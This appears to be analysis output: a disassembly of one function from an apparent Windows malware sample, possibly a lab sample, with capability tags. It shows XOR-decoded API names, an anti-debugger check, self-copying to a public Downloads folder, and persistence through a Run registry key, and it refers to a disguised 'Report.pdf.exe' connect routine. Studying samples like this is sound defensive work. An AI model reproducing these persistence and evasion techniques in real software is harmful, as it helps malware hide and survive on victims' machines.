Function at 0x140001000
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVQ]
lea rax, [rsp + 0x68]
mov r14, 0xffffffffffffffff
movsd xmm1, qword [0x140021138]
mov rsi, r14
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x60], 0x21262e12
movups xmm0, xmmword [str.BCDEFGHIJKLMNOPQRSTUVWX]
mov word [rsp + 0x64], 0x35
movsd qword [rbp - 0x70], xmm1
movsd xmm1, qword [0x1400210a0]
movups xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x50], 0x24213101
movsd qword [rsp + 0x78], xmm1
mov dword [rsp + 0x54], 0x3c052232
mov dword [rsp + 0x58], 0xc342e3e
mov byte [rsp + 0x5c], 0
nop dword [rax + rax]
cmp byte [rax + rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x140001090
lea rax, [rsp + 0x50]
mov rbx, r14
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400010a3
xor edi, edi
mov qword [rsp + 0x2f0], r12
xor r13d, r13d
mov qword [rsp + 0x2f8], r15
test rbx, rbx
je 0x14000110f
xor r15d, r15d
lea r12, [rsp + 0x50]
nop
cmp edi, r14d
je 0x1400010e6
lea rcx, [rsi - 1]
movsxd rax, edi
cmp rax, rcx
jne 0x1400010e6
xor edi, edi
xor r15d, r15d
lea rcx, str.verbose_shit...
call fcn.140001940
movzx eax, byte [rsp + r15 + 0x68]
inc r13d
xor byte [r12], al
inc edi
inc r12
movsxd rax, r13d
inc r15
cmp rax, rbx
jb 0x1400010d0
lea rdx, [rsp + 0x50]
lea rcx, str.Decrypted_function_name:__s_n
call fcn.140001940
lea rcx, [0x1400210c8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, str.chirpchirp
xor edx, edx
xor ecx, ecx
mov qword [0x140022e58], rax
call rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
je 0x14000136b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001184
test rbx, rbx
je 0x140001184
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001371
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r8d, r8d
lea rdx, [0x1400210e8]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor r13d, r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r13
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 2
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001230
lea rcx, [0x140021060]
mov rax, r14
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400011f6
inc eax
lea rdx, str.Testing
mov dword [rsp + 0x28], eax
mov r9d, 1
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp - 0x80]
mov rdi, r14
cmp byte [rax + rdi + 1], r13b
lea rdi, [rdi + 1]
jne 0x140001254
lea rax, [rsp + 0x60]
inc r14
cmp byte [rax + r14], r13b
jne 0x140001264
mov ebx, r13d
mov r12d, r13d
test r14, r14
je 0x1400012be
mov rsi, r13
lea r15, [rsp + 0x60]
cmp ebx, 0xffffffff
je 0x140001297
lea rcx, [rdi - 1]
movsxd rax, ebx
cmp rax, rcx
jne 0x140001297
mov ebx, r13d
mov rsi, r13
lea rcx, str.verbose_shit...
call fcn.140001940
movzx eax, byte [rbp + rsi - 0x80]
inc r12d
xor byte [r15], al
inc ebx
inc r15
movsxd rax, r12d
inc rsi
cmp rax, r14
jb 0x140001280
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0xb0]
mov qword [0x140022e60], rax
lea r9, str.C:UsersPublicDownloadsModuleManager.exe
sub r9, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + r9]
sub r8d, edx
jne 0x140001306
inc rcx
test edx, edx
jne 0x1400012f1
test r8d, r8d
jne 0x140001325
nop dword [rax + rax]
mov ecx, 0x57e40
call rax
call sym.Report.pdf.exe_connect
mov rax, qword [0x140022e60]
jmp 0x140001310
lea rcx, str.funk
call fcn.140001940
mov edx, gethostbyname
lea rcx, [0x14002108c]
call fcn.140001940
mov r15, qword [rsp + 0x2f8]
xor eax, eax
mov r12, qword [rsp + 0x2f0]
mov rbx, qword [rsp + 0x300]
add rsp, 0x2c0
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
call fcn.1400016d0
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400016d0
int3